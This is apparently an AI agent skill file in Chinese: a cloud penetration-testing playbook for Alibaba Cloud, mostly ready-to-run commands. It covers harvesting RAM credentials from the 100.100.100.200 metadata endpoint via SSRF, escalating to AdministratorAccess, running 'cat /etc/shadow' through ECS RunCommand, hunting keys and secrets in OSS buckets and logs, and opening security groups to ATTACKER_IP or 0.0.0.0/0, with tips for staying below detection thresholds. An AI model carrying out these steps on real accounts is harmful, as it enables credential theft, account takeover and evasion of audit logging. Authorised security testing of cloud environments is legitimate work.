| name | aliyun-pentesting |
| description | 阿里云渗透测试方法论。当目标使用阿里云服务、发现 oss-*.aliyuncs.com 资产、获取阿里云 AccessKey(LTAI 开头)、在 ECS 实例内部可访问 100.100.100.200 元数据、或需要对阿里云 RAM/ECS/OSS/RDS/ACK/FC 等服务进行安全评估时使用。覆盖 RAM 提权、ECS 接管、OSS Bucket 利用、RDS 数据库攻击、ACK 容器集群、FC 函数计算、SLB 负载均衡、日志服务、KMS 密钥管理 |
| metadata | {"tags":"aliyun,alibaba-cloud,阿里云,ram,ecs,oss,rds,ack,fc,slb,kms,accesskey,LTAI,100.100.100.200,元数据,云渗透","category":"cloud"} |
阿里云渗透测试方法论
阿里云 RAM/ECS/OSS/RDS/ACK 等服务构成主要攻击面。与 AWS 不同,阿里云的元数据端点为 100.100.100.200,AccessKey 以 LTAI 开头,且部分安全机制(如元数据服务访问限制、ActionTrail 覆盖范围)与国际云平台存在显著差异。本技能以渗透阶段(Phase)为主线,从凭据识别到各服务利用,提供完整攻击路径。
⛔ 深入参考(必读)
识别到具体攻击服务后,加载对应参考文档获取完整技术细节:
Phase 1: 环境识别
拿到阿里云相关目标后,首先识别凭据类型、确认 CLI 工具可用、判断网络位置。
1.1 凭据类型
| 凭据类型 | 识别特征 | 有效期 | 获取方式 |
|---|
| 长期 AccessKey | AccessKeyId 以 LTAI 开头 | 永久(直到手动轮换) | RAM 控制台创建 / 代码泄露 |
| STS 临时凭据 | AccessKeyId 以 STS. 开头 + SecurityToken | 15 分钟 ~ 12 小时 | AssumeRole / ECS 元数据 |
| RAM Role(ECS 绑定) | 通过 100.100.100.200 获取 | 自动轮换(约 6 小时) | ECS 实例元数据服务 |
| Bearer Token | 用于部分 OpenAPI | 视场景而定 | OAuth 授权流程 |
1.2 CLI 配置与身份验证
aliyun configure
aliyun sts GetCallerIdentity
aliyun ram GetUser
1.3 元数据端点
阿里云 ECS 元数据端点与 AWS 169.254.169.254 不同,使用 100.100.100.200:
curl -s http://100.100.100.200/latest/meta-data/
curl -s http://100.100.100.200/latest/meta-data/ram/security-credentials/
curl -s http://100.100.100.200/latest/meta-data/ram/security-credentials/ROLE_NAME
curl -s http://100.100.100.200/latest/meta-data/instance-id
curl -s http://100.100.100.200/latest/meta-data/region-id
curl -s http://100.100.100.200/latest/user-data
注意: 阿里云目前不强制 IMDSv2(Token 模式),大部分 ECS 实例的元数据服务可直接通过 HTTP GET 访问,无需 Token Header。这使得 SSRF 漏洞在阿里云环境中的危害更大。
1.4 对象存储 URL 格式
公网访问: https://{bucket}.oss-{region}.aliyuncs.com/{object}
内网访问: https://{bucket}.oss-{region}-internal.aliyuncs.com/{object}
发现 oss-*.aliyuncs.com 域名即可确认目标使用阿里云 OSS。Bucket 名称全局唯一。
1.5 区域编码
| 区域代码 | 位置 | 备注 |
|---|
| cn-hangzhou | 华东1(杭州) | 阿里云总部所在地,最常用区域 |
| cn-shanghai | 华东2(上海) | 金融客户常用 |
| cn-qingdao | 华北1(青岛) | |
| cn-beijing | 华北2(北京) | 政企客户常用 |
| cn-shenzhen | 华南1(深圳) | |
| cn-chengdu | 西南1(成都) | |
| cn-hongkong | 中国香港 | 无需备案,常被用于出海业务 |
| ap-southeast-1 | 新加坡 | 海外区域 |
枚举时需遍历多个区域。部分服务(如 RAM、STS)为全局服务,不受区域限制。
Phase 2: 攻击决策树
根据当前持有的凭据/位置,判断攻击路径:
当前持有什么?
├── 无凭据
│ ├── 有目标域名 → OSS Bucket 枚举(猜解 bucket 名 + 公开访问检测)
│ ├── 有 SSRF 漏洞 → 打 http://100.100.100.200 获取 RAM Role 凭据
│ └── 仅知组织名 → OSINT + OSS/子域名枚举
│
├── 有 AccessKey(LTAI 开头)
│ ├── 先验证: aliyun sts GetCallerIdentity
│ ├── 有 RAM 写权限 → Phase 3(RAM 提权)
│ ├── 有 ECS 权限 → Phase 4(计算/存储)
│ ├── 有 OSS 权限 → Phase 4(对象存储)
│ ├── 有 RDS 权限 → Phase 4(数据库)
│ └── 权限不明 → 逐服务探测(无 enumerate-iam 等工具,需手动探测)
│
├── 有 STS 临时凭据(STS. 开头)
│ └── 同上,但需注意有效期,快速行动
│
├── 在 ECS 实例内部
│ ├── 获取元数据 RAM Role 凭据 → 根据权限进入对应 Phase
│ └── 检查 User-Data 中是否有硬编码凭据
│
└── 有容器环境(ACK Pod 内部)
├── 检查 ServiceAccount Token
├── 尝试访问元数据服务
└── → Phase 5(容器/Serverless)
Phase 3: RAM 提权速查
RAM(Resource Access Management)是阿里云的身份权限服务,对标 AWS IAM。
3.1 信息收集
aliyun ram ListUsers
aliyun ram ListPoliciesForUser --UserName USERNAME
aliyun ram ListAccessKeys --UserName USERNAME
aliyun ram ListRoles
3.2 提权路径
| 提权路径 | 所需权限 | 操作 |
|---|
| 创建 AccessKey | ram:CreateAccessKey | 为高权限用户创建新 AK |
| 附加策略 | ram:AttachPolicyToUser | 给自己附加 AdministratorAccess |
| 创建策略版本 | ram:CreatePolicyVersion | 新建 Allow * 策略版本并设为默认 |
| 修改角色信任策略 | ram:UpdateRole | 修改 AssumeRolePolicyDocument 使自己可切换 |
| PassRole + 创建 ECS | ram:PassRole + ecs:CreateInstance | 启动绑定高权限 Role 的 ECS |
| PassRole + 创建 FC | ram:PassRole + fc:CreateFunction | 创建绑定高权限 Role 的函数并执行 |
aliyun ram CreateAccessKey --UserName TARGET_USERNAME
aliyun ram AttachPolicyToUser --PolicyType System \
--PolicyName AdministratorAccess --UserName CURRENT_USERNAME
Phase 4: 计算/存储/数据库速查
ECS(云服务器)
aliyun ecs DescribeInstances --output cols=InstanceId,InstanceName,Status
aliyun ecs RunCommand --Type RunShellScript \
--CommandContent "id; cat /etc/shadow" --InstanceId.1 i-INSTANCE_ID
→ 读 references/compute-storage-attacks.md 获取 VNC 连接、User-Data 提取、命令执行完整流程
OSS(对象存储)
aliyun oss ls
aliyun oss ls oss://BUCKET_NAME/ --include "*.env" --include "*.key" --include "*.pem" --include "*credential*"
→ 读 references/compute-storage-attacks.md 获取 ACL 修改、公开读设置、批量下载完整流程
RDS(关系型数据库)
aliyun rds DescribeDBInstances --output cols=DBInstanceId,DBInstanceDescription
→ 读 references/compute-storage-attacks.md 获取账号创建、数据库授权完整流程
SLB(负载均衡)
aliyun slb DescribeLoadBalancers --output cols=LoadBalancerId,Address,Status
→ 读 references/compute-storage-attacks.md 获取后端篡改、流量劫持完整流程
Phase 5: 容器/Serverless/日志/KMS 速查
ACK(容器服务 Kubernetes)
aliyun cs DescribeClusters
aliyun cs DescribeClusterUserKubeconfig --ClusterId CLUSTER_ID
→ 读 references/platform-services-attacks.md 获取集群接管、特权 Pod 创建完整流程
FC(函数计算)
aliyun fc ListFunctions --serviceName SERVICE_NAME --output cols=FunctionName,Runtime
→ 读 references/platform-services-attacks.md 获取代码提取、环境变量泄露完整流程
日志服务(SLS)
aliyun log GetLogs --logstore LOG_STORE --query "password|secret|token"
→ 读 references/platform-services-attacks.md 获取日志搜索、批量导出完整流程
KMS(密钥管理)
aliyun kms ListKeys
→ 读 references/platform-services-attacks.md 获取密钥枚举、数据解密完整流程
Phase 6: 安全组操控
安全组是阿里云 ECS 的网络访问控制层,类似 AWS Security Groups。利用安全组规则可以打开网络通路。
aliyun ecs DescribeSecurityGroups --output cols=SecurityGroupId,Description
aliyun ecs DescribeSecurityGroupAttribute --SecurityGroupId SG_ID
aliyun ecs AuthorizeSecurityGroup --SecurityGroupId SG_ID \
--IpProtocol tcp --PortRange 22/22 --SourceCidrIp ATTACKER_IP/32
aliyun ecs AuthorizeSecurityGroup --SecurityGroupId SG_ID \
--IpProtocol tcp --PortRange 1/65535 --SourceCidrIp 0.0.0.0/0
判断依据: 仅在需要建立反向连接或直接访问内部服务时操作安全组。优先使用最小端口范围 + 指定源 IP,避免触发云安全中心告警。
工具速查
| 工具 | 用途 | 安装/使用 |
|---|
| aliyun CLI | 阿里云官方命令行工具 | brew install aliyun-cli 或从 GitHub Releases 下载 |
| aliyun sts GetCallerIdentity | 验证凭据身份 | 内置子命令 |
| aliyun oss | OSS 对象操作 | 内置子命令 |
| ossutil | OSS 专用工具(大文件传输更优) | 独立二进制,阿里云官网下载 |
| curl | 元数据服务探测 | 系统自带 |
| kubectl | ACK 集群操作 | 获取 kubeconfig 后使用 |
| cf (Cloud Exploitation Framework) | 阿里云/腾讯云自动化利用 | go install github.com/teamssix/cf@latest |
| aliyun-accesskey-tools | AccessKey 利用集合 | 社区工具 |
注意事项
ActionTrail 审计感知: 阿里云 ActionTrail 记录管理事件 API 调用(类似 AWS CloudTrail)。以下操作产生高可见性日志:
- RAM 变更(CreateUser、CreateAccessKey、AttachPolicyToUser)
- STS 调用(AssumeRole)
- 安全组规则变更(AuthorizeSecurityGroup)
云安全中心检测: 阿里云云安全中心(安骑士升级版)会检测:
- AccessKey 异常调用(异常 IP、异常时间、异常 API 频率)
- ECS 异常登录(非常用地域 IP)
- 安全组规则异常开放
- OSS Bucket ACL 变更为公开
速率限制: 阿里云 OpenAPI 有限流机制,枚举时建议控制频率。触发限流返回 Throttling.User 错误码。
区域遍历: 与 AWS 类似,阿里云资源按区域隔离。全局服务(RAM、STS)不受区域限制,但 ECS/OSS/RDS 等需逐区域枚举。